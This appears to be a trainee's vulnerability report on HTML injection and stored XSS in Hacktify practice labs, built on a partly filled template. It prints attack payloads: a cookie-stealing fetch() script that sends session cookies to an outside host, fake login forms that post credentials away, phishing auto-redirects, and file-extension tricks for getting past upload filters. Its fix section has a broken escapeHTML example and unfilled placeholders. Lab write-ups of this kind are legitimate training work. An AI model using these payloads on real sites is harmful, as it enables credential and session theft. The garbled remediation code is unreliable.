Cyber Security Vulnerability Report
(Confidential – For Internal Use Only)
1. Report Overview:
· Report Title : HTML Injection in HTML's are easy
· Reported By: Naveen Avudappa
· Date of Discovery: 14/2/25
· Severity Level: Low
· Vulnerability Type: HTML Injection
· Affected System: Web Application
2. Summary
A HTML Injection was discovered in website, allowing an attacker to easy. This vulnerability
could be exploited HTML Injection Lab, posing a serious security risk.
3. Steps to Reproduce
· 3.1 Affected URL / Endpoint
· Lab 1
```
[Link]
```
· Lab 2
```
[Link]
```
· Lab 4 (File Content and HTML Injection a perfect pair!)
```
[Link]
```
· 3.2 Proof of Concept (PoC) Payload
· Lab 1
```html
<b>Security Test - Hacktify</b>
```
· Lab 2
```html
<b>Test</b>
```
· Lab 4 (File Content and HTML Injection a perfect pair!)
```html
<h1>Hacked!</h1>
```
· 3.3 Steps to Trigger the Vulnerability
i. Navigate to [Link]
ii. Enter the following payload in **[input field, HTTP parameter, etc.]**:
```
<input type="button" onclick="[Link]='[Link]
vlue="Login">
```
iii. Click **Submit** / Send the request.
iv. Observe that **[explain the impact, e.g., HTML gets injected, unauthorized access is
granted]**.
· Lab 2
1. Confirming Stored XSS
Since your test payload
<script>alert('Hacked!');</script> executed,
}
we know:
User input is stored in the database.
It is not properly sanitized or escaped before rendering.
· Lab 4 (File Content and HTML Injection a perfect pair!)
· Another Payload
1. Inject an Image (Defacement Test)
Create [Link]:
html
<h1 style="color:red">HACKED!</h1>
<img src="[Link]
If the page renders the image, HTML Injection is working.
2. Inject a Fake Login Form (Phishing Attack)
Create [Link]:
html
<h2>Login to continue</h2>
<form action="[Link] method="POST">
<input type="text" name="username" placeholder="Enter username">
<input type="password" name="password" placeholder="Enter password">
<input type="submit" value="Login">
</form>
If the website displays this form, attackers can steal credentials.
Step 4: Escalate to Stored XSS
If HTML Injection works, test JavaScript execution.
i Upload a JavaScript Payload
Create [Link]:
html
<script>alert('XSS via File Upload!');</script>
If an alert box appears, Stored XSS is confirmed.
iiSteal Cookies (Session Hijacking)
Create [Link]:
html
<script>
fetch('[Link] + [Link]);
</script>
If executed, it steals user session cookies.
3. Auto-Redirect Users (Phishing)
Create [Link]:
html
<meta http-equiv="refresh" content="0;url=[Link]
Users get redirected to an attacker-controlled page.
Step 5: Bypassing File Restrictions
If the server blocks .html files:
Try .txt: Rename [Link] → [Link]
Try double extensions: [Link]
Try non-standard extensions: [Link] (some browsers execute scripts inside SVG)
· Lab
HTML Injection Exploitation
Now, try injecting malicious HTML.
i. Inject an Image (Defacement Test)
```
[Link]
name=<h1 style="color:red">HACKED!</h1><img
src="[Link]
```
- If the **image appears**, HTML Injection is working
ii. Inject a Fake Login Form (Phishing Attack)
```
[Link]
name=<form action="[Link] method="POST"><input
type="text" name="username" placeholder="Username"><input
type="password" name="password" placeholder="Password"><input
type="submit" value="Login"></form>
```
- If the page renders a **fake login form**, it can steal user credentials.
Step 4: Escalate to Stored XSS :
If HTML Injection works, test JavaScript execution.
i. Execute JavaScript
```
[Link]
name=<script>alert('XSS!')</script>
```
- If an alert box appears, Stored XSS is confirmed.
ii. Auto-Redirect Users (Phishing) :
```
[Link] http-
equiv="refresh" content="0;url=[Link]
```
- Users get redirected to an attacker-controlled page.
4. Impact Analysis
· Confidentiality : Can be used for phishing attacks to steal credentials.
· Integrity : Availability : Attackers can alter webpage content, misleading users.
· Availability : No direct service disruption, but UI manipulation possible.
· User Impact : Users may interact with fake forms, links, or misleading content.
· Business Risk : Brand damage, legal risks (e.g., GDPR violations), loss of user trust.
Example:
- Attackers can inject malicious HTML into the system, potentially leading to phishing attacks or
defacement.
- If combined with JavaScript execution, it could escalate to Stored XSS, leading to session
hijacking or "data theft".
5. Risk Assessment (CVSS Score Calculation)
**CVSS Base Score:** [X.X]
*(Use CVSS Calculator: [Link]
6. Recommended Fixes
6.1 Immediate Fixes :
- Input Sanitization:**
- Escape special characters (`<`, `>`, `"` `'`) before rendering user input.
- Example (JavaScript):
```js
function escapeHTML(str) {
return [Link](/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
```
*Output Encoding:
- Ensure all user input is encoded before rendering it.
- Use `htmlspecialchars()` in PHP or `[Link]()` in JavaScript.
Content Security Policy (CSP):
- Implement CSP to **restrict inline scripts** and **limit external sources**.
- Example:
```html
Content-Security-Policy: default-src 'self'; script-src 'self'
```
6.2 Long-Term Fixes
Implement a Web Application Firewall (WAF)
egular Security Audits & Penetration Testing
User Input Validation & Whitelisting
Security Awareness Training for Developers
7. Proof of Concept (PoC) Screenshots
*(Attach screenshots demonstrating the vulnerability in action.)*
· Labb 2
· Lab 4
